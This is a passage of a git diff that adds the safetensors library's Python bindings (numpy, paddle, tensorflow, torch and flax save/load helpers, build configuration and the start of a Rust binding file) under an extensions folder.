jnp.zeros((256, 256))} + save_file(tensors, "model.safetensors") + ``` + """ + np_tensors = _jnp2np(tensors) + return numpy.save_file(np_tensors, filename, metadata=metadata) + + +def load(data: bytes) -> Dict[str, Array]: + """ + Loads a safetensors file into flax format from pure bytes. + + Args: + data (`bytes`): + The content of a safetensors file + + Returns: + `Dict[str, Array]`: dictionary that contains name as key, value as `Array` on cpu + + Example: + + ```python + from safetensors.flax import load + + file_path = "./my_folder/bert.safetensors" + with open(file_path, "rb") as f: + data = f.read() + + loaded = load(data) + ``` + """ + flat = numpy.load(data) + return _np2jnp(flat) + + +def load_file(filename: Union[str, os.PathLike]) -> Dict[str, Array]: + """ + Loads a safetensors file into flax format. + + Args: + filename (`str`, or `os.PathLike`)): + The name of the file which contains the tensors + device (`Dict[str, any]`, *optional*, defaults to `cpu`): + The device where the tensors need to be located after load. + available options are all regular flax device locations + + Returns: + `Dict[str, Array]`: dictionary that contains name as key, value as `Array` + + Example: + + ```python + from safetensors.flax import load_file + + file_path = "./my_folder/bert.safetensors" + loaded = load_file(file_path) + ``` + """ + flat = numpy.load_file(filename) + return _np2jnp(flat) + + +def _np2jnp(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, Array]: + for k, v in numpy_dict.items(): + numpy_dict[k] = jnp.array(v) + return numpy_dict + + +def _jnp2np(jnp_dict: Dict[str, Array]) -> Dict[str, np.array]: + for k, v in jnp_dict.items(): + jnp_dict[k] = np.asarray(v) + return jnp_dict diff --git a/extensions/safetensors/bindings/python/py_src/safetensors/numpy.py b/extensions/safetensors/bindings/python/py_src/safetensors/numpy.py new file mode 100644 index 0000000000000000000000000000000000000000..442270a0ce623d9fc1e804fefef25ec2d35c2c07 --- /dev/null +++ b/extensions/safetensors/bindings/python/py_src/safetensors/numpy.py @@ -0,0 +1,179 @@ +import os +import sys +from typing import Dict, Optional, Union + +import numpy as np + +from safetensors import deserialize, safe_open, serialize, serialize_file + + +def _tobytes(tensor: np.ndarray) -> bytes: + if not _is_little_endian(tensor): + tensor = tensor.byteswap(inplace=False) + return tensor.tobytes() + + +def save(tensor_dict: Dict[str, np.ndarray], metadata: Optional[Dict[str, str]] = None) -> bytes: + """ + Saves a dictionnary of tensors into raw bytes in safetensors format. + + Args: + tensor_dict (`Dict[str, np.ndarray]`): + The incoming tensors. Tensors need to be contiguous and dense. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `bytes`: The raw bytes representing the format + + Example: + + ```python + from safetensors.numpy import save + import numpy as np + + tensors = {"embedding": np.zeros((512, 1024)), "attention": np.zeros((256, 256))} + byte_data = save(tensors) + ``` + """ + flattened = {k: {"dtype": v.dtype.name, "shape": v.shape, "data": _tobytes(v)} for k, v in tensor_dict.items()} + serialized = serialize(flattened, metadata=metadata) + result = bytes(serialized) + return result + + +def save_file( + tensor_dict: Dict[str, np.ndarray], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]] = None +) -> None: + """ + Saves a dictionnary of tensors into raw bytes in safetensors format. + + Args: + tensor_dict (`Dict[str, np.ndarray]`): + The incoming tensors. Tensors need to be contiguous and dense. + filename (`str`, or `os.PathLike`)): + The filename we're saving into. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `None` + + Example: + + ```python + from safetensors.numpy import save_file + import numpy as np + + tensors = {"embedding": np.zeros((512, 1024)), "attention": np.zeros((256, 256))} + save(tensors, "model.safetensors") + ``` + """ + flattened = {k: {"dtype": v.dtype.name, "shape": v.shape, "data": _tobytes(v)} for k, v in tensor_dict.items()} + serialize_file(flattened, filename, metadata=metadata) + + +def load(data: bytes) -> Dict[str, np.ndarray]: + """ + Loads a safetensors file into numpy format from pure bytes. + + Args: + data (`bytes`): + The content of a safetensors file + + Returns: + `Dict[str, np.ndarray]`: dictionary that contains name as key, value as `np.ndarray` on cpu + + Example: + + ```python + from safetensors.numpy import load + + file_path = "./my_folder/bert.safetensors" + with open(file_path, "rb") as f: + data = f.read() + + loaded = load(data) + ``` + """ + flat = deserialize(data) + return _view2np(flat) + + +def load_file(filename: Union[str, os.PathLike]) -> Dict[str, np.ndarray]: + """ + Loads a safetensors file into numpy format. + + Args: + filename (`str`, or `os.PathLike`)): + The name of the file which contains the tensors + device (`Dict[str, any]`, *optional*, defaults to `cpu`): + The device where the tensors need to be located after load. + available options are all regular numpy device locations + + Returns: + `Dict[str, np.ndarray]`: dictionary that contains name as key, value as `np.ndarray` + + Example: + + ```python + from safetensors.numpy import load_file + + file_path = "./my_folder/bert.safetensors" + loaded = load_file(file_path) + ``` + """ + result = {} + with safe_open(filename, framework="np") as f: + for k in f.keys(): + result[k] = f.get_tensor(k) + return result + + +_TYPES = { + "F64": np.float64, + "F32": np.float32, + "F16": np.float16, + "I64": np.int64, + "U64": np.uint64, + "I32": np.int32, + "U32": np.uint32, + "I16": np.int16, + "U16": np.uint16, + "I8": np.int8, + "U8": np.uint8, + "BOOL": bool, +} + + +def _getdtype(dtype_str: str) -> np.dtype: + return _TYPES[dtype_str] + + +def _view2np(safeview) -> Dict[str, np.ndarray]: + result = {} + for k, v in safeview: + dtype = _getdtype(v["dtype"]) + arr = np.frombuffer(v["data"], dtype=dtype).reshape(v["shape"]) + result[k] = arr + return result + + +def _is_little_endian(tensor: np.ndarray) -> bool: + byteorder = tensor.dtype.byteorder + if byteorder == "=": + if sys.byteorder == "little": + return True + else: + return False + elif byteorder == "|": + return True + elif byteorder == "<": + return True + elif byteorder == ">": + return False + raise ValueError(f"Unexpected byte order {byteorder}") diff --git a/extensions/safetensors/bindings/python/py_src/safetensors/paddle.py b/extensions/safetensors/bindings/python/py_src/safetensors/paddle.py new file mode 100644 index 0000000000000000000000000000000000000000..8a83b98adb3f4ecf9092734bb1645804f65cfd29 --- /dev/null +++ b/extensions/safetensors/bindings/python/py_src/safetensors/paddle.py @@ -0,0 +1,138 @@ +import os +from typing import Dict, Optional, Union + +import numpy as np + +import paddle +from safetensors import numpy + + +def save(tensors: Dict[str, paddle.Tensor], metadata: Optional[Dict[str, str]] = None) -> bytes: + """ + Saves a dictionnary of tensors into raw bytes in safetensors format. + + Args: + tensors (`Dict[str, paddle.Tensor]`): + The incoming tensors. Tensors need to be contiguous and dense. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `bytes`: The raw bytes representing the format + + Example: + + ```python + from safetensors.paddle import save + import paddle + + tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))} + byte_data = save(tensors) + ``` + """ + np_tensors = _paddle2np(tensors) + return numpy.save(np_tensors, metadata=metadata) + + +def save_file( + tensors: Dict[str, paddle.Tensor], + filename: Union[str, os.PathLike], + metadata: Optional[Dict[str, str]] = None, +) -> None: + """ + Saves a dictionnary of tensors into raw bytes in safetensors format. + + Args: + tensors (`Dict[str, paddle.Tensor]`): + The incoming tensors. Tensors need to be contiguous and dense. + filename (`str`, or `os.PathLike`)): + The filename we're saving into. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `None` + + Example: + + ```python + from safetensors.paddle import save_file + import paddle + + tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))} + save_file(tensors, "model.safetensors") + ``` + """ + np_tensors = _paddle2np(tensors) + return numpy.save_file(np_tensors, filename, metadata=metadata) + + +def load(data: bytes, device: str = "cpu") -> Dict[str, paddle.Tensor]: + """ + Loads a safetensors file into paddle format from pure bytes. + + Args: + data (`bytes`): + The content of a safetensors file + + Returns: + `Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor` on cpu + + Example: + + ```python + from safetensors.paddle import load + + file_path = "./my_folder/bert.safetensors" + with open(file_path, "rb") as f: + data = f.read() + + loaded = load(data) + ``` + """ + flat = numpy.load(data) + return _np2paddle(flat, device) + + +def load_file(filename: Union[str, os.PathLike], device="cpu") -> Dict[str, paddle.Tensor]: + """ + Loads a safetensors file into paddle format. + + Args: + filename (`str`, or `os.PathLike`)): + The name of the file which contains the tensors + device (`Dict[str, any]`, *optional*, defaults to `cpu`): + The device where the tensors need to be located after load. + available options are all regular paddle device locations + + Returns: + `Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor` + + Example: + + ```python + from safetensors.paddle import load_file + + file_path = "./my_folder/bert.safetensors" + loaded = load_file(file_path) + ``` + """ + flat = numpy.load_file(filename) + output = _np2paddle(flat, device) + return output + + +def _np2paddle(numpy_dict: Dict[str, np.ndarray], device: str = "cpu") -> Dict[str, paddle.Tensor]: + for k, v in numpy_dict.items(): + numpy_dict[k] = paddle.to_tensor(v, place=device) + return numpy_dict + + +def _paddle2np(paddle_dict: Dict[str, paddle.Tensor]) -> Dict[str, np.array]: + for k, v in paddle_dict.items(): + paddle_dict[k] = v.detach().cpu().numpy() + return paddle_dict diff --git a/extensions/safetensors/bindings/python/py_src/safetensors/py.typed b/extensions/safetensors/bindings/python/py_src/safetensors/py.typed new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/extensions/safetensors/bindings/python/py_src/safetensors/tensorflow.py b/extensions/safetensors/bindings/python/py_src/safetensors/tensorflow.py new file mode 100644 index 0000000000000000000000000000000000000000..96b704f16c2b6e904ee1710e9c68e8940868ad5c --- /dev/null +++ b/extensions/safetensors/bindings/python/py_src/safetensors/tensorflow.py @@ -0,0 +1,137 @@ +import os +from typing import Dict, Optional, Union + +import numpy as np +import tensorflow as tf + +from safetensors import numpy + + +def save(tensors: Dict[str, tf.Tensor], metadata: Optional[Dict[str, str]] = None) -> bytes: + """ + Saves a dictionnary of tensors into raw bytes in safetensors format. + + Args: + tensors (`Dict[str, tf.Tensor]`): + The incoming tensors. Tensors need to be contiguous and dense. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `bytes`: The raw bytes representing the format + + Example: + + ```python + from safetensors.tensorflow import save + import tensorflow as tf + + tensors = {"embedding": tf.zeros((512, 1024)), "attention": tf.zeros((256, 256))} + byte_data = save(tensors) + ``` + """ + np_tensors = _tf2np(tensors) + return numpy.save(np_tensors, metadata=metadata) + + +def save_file( + tensors: Dict[str, tf.Tensor], + filename: Union[str, os.PathLike], + metadata: Optional[Dict[str, str]] = None, +) -> None: + """ + Saves a dictionnary of tensors into raw bytes in safetensors format. + + Args: + tensors (`Dict[str, tf.Tensor]`): + The incoming tensors. Tensors need to be contiguous and dense. + filename (`str`, or `os.PathLike`)): + The filename we're saving into. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `None` + + Example: + + ```python + from safetensors.tensorflow import save_file + import tensorflow as tf + + tensors = {"embedding": tf.zeros((512, 1024)), "attention": tf.zeros((256, 256))} + save(tensors, "model.safetensors") + ``` + """ + np_tensors = _tf2np(tensors) + return numpy.save_file(np_tensors, filename, metadata=metadata) + + +def load(data: bytes) -> Dict[str, tf.Tensor]: + """ + Loads a safetensors file into tensorflow format from pure bytes. + + Args: + data (`bytes`): + The content of a safetensors file + + Returns: + `Dict[str, tf.Tensor]`: dictionary that contains name as key, value as `tf.Tensor` on cpu + + Example: + + ```python + from safetensors.tensorflow import load + + file_path = "./my_folder/bert.safetensors" + with open(file_path, "rb") as f: + data = f.read() + + loaded = load(data) + ``` + """ + flat = numpy.load(data) + return _np2tf(flat) + + +def load_file(filename: Union[str, os.PathLike]) -> Dict[str, tf.Tensor]: + """ + Loads a safetensors file into tensorflow format. + + Args: + filename (`str`, or `os.PathLike`)): + The name of the file which contains the tensors + device (`Dict[str, any]`, *optional*, defaults to `cpu`): + The device where the tensors need to be located after load. + available options are all regular tensorflow device locations + + Returns: + `Dict[str, tf.Tensor]`: dictionary that contains name as key, value as `tf.Tensor` + + Example: + + ```python + from safetensors.tensorflow import load_file + + file_path = "./my_folder/bert.safetensors" + loaded = load_file(file_path) + ``` + """ + flat = numpy.load_file(filename) + return _np2tf(flat) + + +def _np2tf(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, tf.Tensor]: + for k, v in numpy_dict.items(): + numpy_dict[k] = tf.convert_to_tensor(v) + return numpy_dict + + +def _tf2np(tf_dict: Dict[str, tf.Tensor]) -> Dict[str, np.array]: + for k, v in tf_dict.items(): + tf_dict[k] = v.numpy() + return tf_dict diff --git a/extensions/safetensors/bindings/python/py_src/safetensors/torch.py b/extensions/safetensors/bindings/python/py_src/safetensors/torch.py new file mode 100644 index 0000000000000000000000000000000000000000..7fa596750e888f13de5c2163a6361dce456b86a6 --- /dev/null +++ b/extensions/safetensors/bindings/python/py_src/safetensors/torch.py @@ -0,0 +1,482 @@ +import os +import sys +from collections import defaultdict +from typing import Any, Dict, List, Optional, Set, Tuple, Union + +import torch + +from safetensors import deserialize, safe_open, serialize, serialize_file + + +def storage_ptr(tensor: torch.Tensor) -> int: + try: + return tensor.untyped_storage().data_ptr() + except Exception: + # Fallback for torch==1.10 + try: + return tensor.storage().data_ptr() + except NotImplementedError: + # Fallback for meta storage + return 0 + + +def _end_ptr(tensor: torch.Tensor) -> int: + if tensor.nelement(): + stop = tensor.view(-1)[-1].data_ptr() + _SIZE[tensor.dtype] + else: + stop = tensor.data_ptr() + return stop + + +def storage_size(tensor: torch.Tensor) -> int: + try: + return tensor.untyped_storage().nbytes() + except AttributeError: + # Fallback for torch==1.10 + try: + return tensor.storage().size() * _SIZE[tensor.dtype] + except NotImplementedError: + # Fallback for meta storage + # On torch >=2.0 this is the tensor size + return tensor.nelement() * _SIZE[tensor.dtype] + + +def _filter_shared_not_shared(tensors: List[Set[str]], state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]: + filtered_tensors = [] + for shared in tensors: + if len(shared) < 2: + filtered_tensors.append(shared) + continue + + areas = [] + for name in shared: + tensor = state_dict[name] + areas.append((tensor.data_ptr(), _end_ptr(tensor), name)) + areas.sort() + + _, last_stop, last_name = areas[0] + filtered_tensors.append({last_name}) + for start, stop, name in areas[1:]: + if start >= last_stop: + filtered_tensors.append({name}) + else: + filtered_tensors[-1].add(name) + last_stop = stop + + return filtered_tensors + + +def _find_shared_tensors(state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]: + tensors = defaultdict(set) + for k, v in state_dict.items(): + if v.device != torch.device("meta") and storage_ptr(v) != 0 and storage_size(v) != 0: + # Need to add device as key because of multiple GPU. + tensors[(v.device, storage_ptr(v), storage_size(v))].add(k) + tensors = list(sorted(tensors.values())) + tensors = _filter_shared_not_shared(tensors, state_dict) + return tensors + + +def _is_complete(tensor: torch.Tensor) -> bool: + return tensor.data_ptr() == storage_ptr(tensor) and tensor.nelement() * _SIZE[tensor.dtype] == storage_size(tensor) + + +def _remove_duplicate_names( + state_dict: Dict[str, torch.Tensor], + *, + preferred_names: Optional[List[str]] = None, + discard_names: Optional[List[str]] = None, +) -> Dict[str, List[str]]: + if preferred_names is None: + preferred_names = [] + preferred_names = set(preferred_names) + if discard_names is None: + discard_names = [] + discard_names = set(discard_names) + + shareds = _find_shared_tensors(state_dict) + to_remove = defaultdict(list) + for shared in shareds: + complete_names = set([name for name in shared if _is_complete(state_dict[name])]) + if not complete_names: + raise RuntimeError( + "Error while trying to find names to remove to save state dict, but found no suitable name to keep" + f" for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model" + " since you could be storing much more memory than needed. Please refer to" + " https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an" + " issue." + ) + + keep_name = sorted(list(complete_names))[0] + + # Mechanism to preferentially select keys to keep + # coming from the on-disk file to allow + # loading models saved with a different choice + # of keep_name + preferred = complete_names.difference(discard_names) + if preferred: + keep_name = sorted(list(preferred))[0] + + if preferred_names: + preferred = preferred_names.intersection(complete_names) + if preferred: + keep_name = sorted(list(preferred))[0] + for name in sorted(shared): + if name != keep_name: + to_remove[keep_name].append(name) + return to_remove + + +def save_model( + model: torch.nn.Module, filename: str, metadata: Optional[Dict[str, str]] = None, force_contiguous: bool = True +): + """ + Saves a given torch model to specified filename. + This method exists specifically to avoid tensor sharing issues which are + not allowed in `safetensors`. [More information on tensor sharing](../torch_shared_tensors) + + Args: + model (`torch.nn.Module`): + The model to save on disk. + filename (`str`): + The filename location to save the file + metadata (`Dict[str, str]`, *optional*): + Extra information to save along with the file. + Some metadata will be added for each dropped tensors. + This information will not be enough to recover the entire + shared structure but might help understanding things + force_contiguous (`boolean`, *optional*, defaults to True): + Forcing the state_dict to be saved as contiguous tensors. + This has no effect on the correctness of the model, but it + could potentially change performance if the layout of the tensor + was chosen specifically for that reason. + """ + state_dict = model.state_dict() + to_removes = _remove_duplicate_names(state_dict) + + for kept_name, to_remove_group in to_removes.items(): + for to_remove in to_remove_group: + if metadata is None: + metadata = {} + + if to_remove not in metadata: + # Do not override user data + metadata[to_remove] = kept_name + del state_dict[to_remove] + if force_contiguous: + state_dict = {k: v.contiguous() for k, v in state_dict.items()} + try: + save_file(state_dict, filename, metadata=metadata) + except ValueError as e: + msg = str(e) + msg += " Or use save_model(..., force_contiguous=True), read the docs for potential caveats." + raise ValueError(msg) + + +def load_model(model: torch.nn.Module, filename: Union[str, os.PathLike], strict=True) -> Tuple[List[str], List[str]]: + """ + Loads a given filename onto a torch model. + This method exists specifically to avoid tensor sharing issues which are + not allowed in `safetensors`. [More information on tensor sharing](../torch_shared_tensors) + + Args: + model (`torch.nn.Module`): + The model to load onto. + filename (`str`, or `os.PathLike`): + The filename location to load the file from. + strict (`bool`, *optional*, defaults to True): + Wether to fail if you're missing keys or having unexpected ones + When false, the function simply returns missing and unexpected names. + + Returns: + `(missing, unexpected): (List[str], List[str])` + `missing` are names in the model which were not modified during loading + `unexpected` are names that are on the file, but weren't used during + the load. + """ + state_dict = load_file(filename) + model_state_dict = model.state_dict() + to_removes = _remove_duplicate_names(model_state_dict, preferred_names=state_dict.keys()) + missing, unexpected = model.load_state_dict(state_dict, strict=False) + missing = set(missing) + for to_remove_group in to_removes.values(): + for to_remove in to_remove_group: + if to_remove not in missing: + unexpected.append(to_remove) + else: + missing.remove(to_remove) + if strict and (missing or unexpected): + missing_keys = ", ".join([f'"{k}"' for k in sorted(missing)]) + unexpected_keys = ", ".join([f'"{k}"' for k in sorted(unexpected)]) + error = f"Error(s) in loading state_dict for {model.__class__.__name__}:" + if missing: + error += f"\n Missing key(s) in state_dict: {missing_keys}" + if unexpected: + error += f"\n Unexpected key(s) in state_dict: {unexpected_keys}" + raise RuntimeError(error) + return missing, unexpected + + +def save(tensors: Dict[str, torch.Tensor], metadata: Optional[Dict[str, str]] = None) -> bytes: + """ + Saves a dictionary of tensors into raw bytes in safetensors format. + + Args: + tensors (`Dict[str, torch.Tensor]`): + The incoming tensors. Tensors need to be contiguous and dense. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `bytes`: The raw bytes representing the format + + Example: + + ```python + from safetensors.torch import save + import torch + + tensors = {"embedding": torch.zeros((512, 1024)), "attention": torch.zeros((256, 256))} + byte_data = save(tensors) + ``` + """ + serialized = serialize(_flatten(tensors), metadata=metadata) + result = bytes(serialized) + return result + + +def save_file( + tensors: Dict[str, torch.Tensor], + filename: Union[str, os.PathLike], + metadata: Optional[Dict[str, str]] = None, +): + """ + Saves a dictionary of tensors into raw bytes in safetensors format. + + Args: + tensors (`Dict[str, torch.Tensor]`): + The incoming tensors. Tensors need to be contiguous and dense. + filename (`str`, or `os.PathLike`)): + The filename we're saving into. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `None` + + Example: + + ```python + from safetensors.torch import save_file + import torch + + tensors = {"embedding": torch.zeros((512, 1024)), "attention": torch.zeros((256, 256))} + save_file(tensors, "model.safetensors") + ``` + """ + serialize_file(_flatten(tensors), filename, metadata=metadata) + + +def load_file(filename: Union[str, os.PathLike], device="cpu") -> Dict[str, torch.Tensor]: + """ + Loads a safetensors file into torch format. + + Args: + filename (`str`, or `os.PathLike`): + The name of the file which contains the tensors + device (`Dict[str, any]`, *optional*, defaults to `cpu`): + The device where the tensors need to be located after load. + available options are all regular torch device locations + + Returns: + `Dict[str, torch.Tensor]`: dictionary that contains name as key, value as `torch.Tensor` + + Example: + + ```python + from safetensors.torch import load_file + + file_path = "./my_folder/bert.safetensors" + loaded = load_file(file_path) + ``` + """ + result = {} + with safe_open(filename, framework="pt", device=device) as f: + for k in f.keys(): + result[k] = f.get_tensor(k) + return result + + +def load(data: bytes) -> Dict[str, torch.Tensor]: + """ + Loads a safetensors file into torch format from pure bytes. + + Args: + data (`bytes`): + The content of a safetensors file + + Returns: + `Dict[str, torch.Tensor]`: dictionary that contains name as key, value as `torch.Tensor` on cpu + + Example: + + ```python + from safetensors.torch import load + + file_path = "./my_folder/bert.safetensors" + with open(file_path, "rb") as f: + data = f.read() + + loaded = load(data) + ``` + """ + flat = deserialize(data) + return _view2torch(flat) + + +_SIZE = { + torch.int64: 8, + torch.float32: 4, + torch.int32: 4, + torch.bfloat16: 2, + torch.float16: 2, + torch.int16: 2, + torch.uint8: 1, + torch.int8: 1, + torch.bool: 1, + torch.float64: 8, +} + +_TYPES = { + "F64": torch.float64, + "F32": torch.float32, + "F16": torch.float16, + "BF16": torch.bfloat16, + "I64": torch.int64, + # "U64": torch.uint64, + "I32": torch.int32, + # "U32": torch.uint32, + "I16": torch.int16, + # "U16": torch.uint16, + "I8": torch.int8, + "U8": torch.uint8, + "BOOL": torch.bool, +} + + +def _getdtype(dtype_str: str) -> torch.dtype: + return _TYPES[dtype_str] + + +def _view2torch(safeview) -> Dict[str, torch.Tensor]: + result = {} + for k, v in safeview: + dtype = _getdtype(v["dtype"]) + arr = torch.frombuffer(v["data"], dtype=dtype).reshape(v["shape"]) + if sys.byteorder == "big": + arr = torch.from_numpy(arr.numpy().byteswap(inplace=False)) + result[k] = arr + + return result + + +def _tobytes(tensor: torch.Tensor, name: str) -> bytes: + if tensor.layout != torch.strided: + raise ValueError( + f"You are trying to save a sparse tensor: `{name}` which this library does not support." + " You can make it a dense tensor before saving with `.to_dense()` but be aware this might" + " make a much larger file than needed." + ) + + if not tensor.is_contiguous(): + raise ValueError( + f"You are trying to save a non contiguous tensor: `{name}` which is not allowed. It either means you" + " are trying to save tensors which are reference of each other in which case it's recommended to save" + " only the full tensors, and reslice at load time, or simply call `.contiguous()` on your tensor to" + " pack it before saving." + ) + if tensor.device.type != "cpu": + # Moving tensor to cpu before saving + tensor = tensor.to("cpu") + + import ctypes + + import numpy as np + + # When shape is empty (scalar), np.prod returns a float + # we need a int for the following calculations + length = int(np.prod(tensor.shape).item()) + bytes_per_item = _SIZE[tensor.dtype] + + total_bytes = length * bytes_per_item + + ptr = tensor.data_ptr() + if ptr == 0: + return b"" + newptr = ctypes.cast(ptr, ctypes.POINTER(ctypes.c_ubyte)) + data = np.ctypeslib.as_array(newptr, (total_bytes,)) # no internal copy + if sys.byteorder == "big": + NPDTYPES = { + torch.int64: np.int64, + torch.float32: np.float32, + torch.int32: np.int32, + # XXX: This is ok because both have the same width + torch.bfloat16: np.float16, + torch.float16: np.float16, + torch.int16: np.int16, + torch.uint8: np.uint8, + torch.int8: np.int8, + torch.bool: bool, + torch.float64: np.float64, + } + npdtype = NPDTYPES[tensor.dtype] + # Not in place as that would potentially modify a live running model + data = data.view(npdtype).byteswap(inplace=False) + return data.tobytes() + + +def _flatten(tensors: Dict[str, torch.Tensor]) -> Dict[str, Dict[str, Any]]: + if not isinstance(tensors, dict): + raise ValueError(f"Expected a dict of [str, torch.Tensor] but received {type(tensors)}") + + invalid_tensors = [] + for k, v in tensors.items(): + if not isinstance(v, torch.Tensor): + raise ValueError(f"Key `{k}` is invalid, expected torch.Tensor but received {type(v)}") + + if v.layout != torch.strided: + invalid_tensors.append(k) + if invalid_tensors: + raise ValueError( + f"You are trying to save a sparse tensors: `{invalid_tensors}` which this library does not support." + " You can make it a dense tensor before saving with `.to_dense()` but be aware this might" + " make a much larger file than needed." + ) + + shared_pointers = _find_shared_tensors(tensors) + failing = [] + for names in shared_pointers: + if len(names) > 1: + failing.append(names) + + if failing: + raise RuntimeError( + f""" + Some tensors share memory, this will lead to duplicate memory on disk and potential differences when loading them again: {failing}. + A potential way to correctly save your model is to use `save_model`. + More information at https://huggingface.co/docs/safetensors/torch_shared_tensors + """ + ) + + return { + k: { + "dtype": str(v.dtype).split(".")[-1], + "shape": v.shape, + "data": _tobytes(v, k), + } + for k, v in tensors.items() + } diff --git a/extensions/safetensors/bindings/python/pyproject.toml b/extensions/safetensors/bindings/python/pyproject.toml new file mode 100644 index 0000000000000000000000000000000000000000..e6156c38a2220f16665d668f8b4d1ff5027a2807 --- /dev/null +++ b/extensions/safetensors/bindings/python/pyproject.toml @@ -0,0 +1,102 @@ +[project] +name = 'safetensors' +requires-python = '>=3.7' +authors = [ + {name = 'Nicolas Patry', email = 'patry.nicolas@protonmail.com'} +] +classifiers = [ + "Development Status :: 5 - Production/Stable", + "Intended Audience :: Developers", + "Intended Audience :: Education", + "Intended Audience :: Science/Research", + "License :: OSI Approved :: Apache Software License", + "Operating System :: OS Independent", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.7", + "Programming Language :: Python :: 3.8", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", + "Topic :: Scientific/Engineering :: Artificial Intelligence", + "Typing :: Typed", +] +dynamic = [ + 'description', + 'license', + 'readme', +] + +[project.urls] +Homepage = 'https://github.com/huggingface/safetensors' +Source = 'https://github.com/huggingface/safetensors' + +[project.optional-dependencies] +numpy = ["numpy>=1.21.6"] +torch = [ + "safetensors[numpy]", + "torch>=1.10", +] +tensorflow = [ + "safetensors[numpy]", + "tensorflow>=2.11.0", +] +# pinning tf version 2.11.0 for doc-builder +pinned-tf = [ + "safetensors[numpy]", + "tensorflow==2.11.0", +] +jax = [ + "safetensors[numpy]", + "flax>=0.6.3", + "jax>=0.3.25", + "jaxlib>=0.3.25", +] +paddlepaddle = [ + "safetensors[numpy]", + "paddlepaddle>=2.4.1", +] +quality = [ + "black==22.3", # after updating to black 2023, also update Python version in pyproject.toml to 3.7 + "click==8.0.4", + "isort>=5.5.4", + "flake8>=3.8.3", +] +testing = [ + "safetensors[numpy]", + "h5py>=3.7.0", + "huggingface_hub>=0.12.1", + "setuptools_rust>=1.5.2", + "pytest>=7.2.0", + "pytest-benchmark>=4.0.0", + # "python-afl>=0.7.3", + "hypothesis>=6.70.2", +] +all = [ + "safetensors[torch]", + "safetensors[numpy]", + "safetensors[pinned-tf]", + "safetensors[jax]", + "safetensors[paddlepaddle]", + "safetensors[quality]", + "safetensors[testing]", +] +dev = [ + "safetensors[all]", +] + + +[build-system] +requires = ["maturin>=1.0,<2.0"] +build-backend = "maturin" + +[tool.maturin] +python-source = "py_src" +module-name = "safetensors._safetensors_rust" +bindings = 'pyo3' +features = ["pyo3/extension-module"] + +[tool.black] +line-length = 119 +target-version = ['py35'] + +[tool.setuptools.dynamic] +readme = {file = ["README.rst"]} diff --git a/extensions/safetensors/bindings/python/setup.cfg b/extensions/safetensors/bindings/python/setup.cfg new file mode 100644 index 0000000000000000000000000000000000000000..168141a1186aa2f7612cda8b8ea553df3a0697c1 --- /dev/null +++ b/extensions/safetensors/bindings/python/setup.cfg @@ -0,0 +1,55 @@ +[isort] +default_section = FIRSTPARTY +ensure_newline_before_comments = True +force_grid_wrap = 0 +include_trailing_comma = True +known_first_party = transformers +known_third_party = + absl + conllu + datasets + elasticsearch + fairseq + faiss-cpu + fastprogress + fire + fugashi + git + h5py + matplotlib + nltk + numpy + packaging + pandas + PIL + psutil + pytest + pytorch_lightning + rouge_score + sacrebleu + seqeval + sklearn + streamlit + tensorboardX + tensorflow + tensorflow_datasets + timeout_decorator + torch + torchaudio + torchtext + torchvision + torch_xla + tqdm + paddlepaddle + +line_length = 119 +lines_after_imports = 2 +multi_line_output = 3 +use_parentheses = True + +[flake8] +ignore = E203, E501, E741, W503, W605 +max-line-length = 119 + +[tool:pytest] +doctest_optionflags=NUMBER NORMALIZE_WHITESPACE ELLIPSIS \ No newline at end of file diff --git a/extensions/safetensors/bindings/python/src/lib.rs b/extensions/safetensors/bindings/python/src/lib.rs new file mode 100644 index 0000000000000000000000000000000000000000..d088c2776077599ca07e0123fc22df8469d156e4 --- /dev/null +++ b/extensions/safetensors/bindings/python/src/lib.rs @@ -0,0 +1,1029 @@ +#![deny(missing_docs)] +//! Dummy doc +use memmap2::{Mmap, MmapOptions}; +use pyo3::exceptions::{PyException, PyFileNotFoundError}; +use pyo3::once_cell::GILOnceCell; +use pyo3::prelude::*; +use pyo3::types::IntoPyDict; +use pyo3::types::PySlice; +use pyo3::types::{PyByteArray, PyBytes, PyDict, PyList}; +use pyo3::{intern, PyErr}; +use safetensors::slice::TensorIndexer; +use safetensors::tensor::{Dtype, Metadata, SafeTensors, TensorInfo, TensorView}; +use std::collections::HashMap; +use std::fs::File; 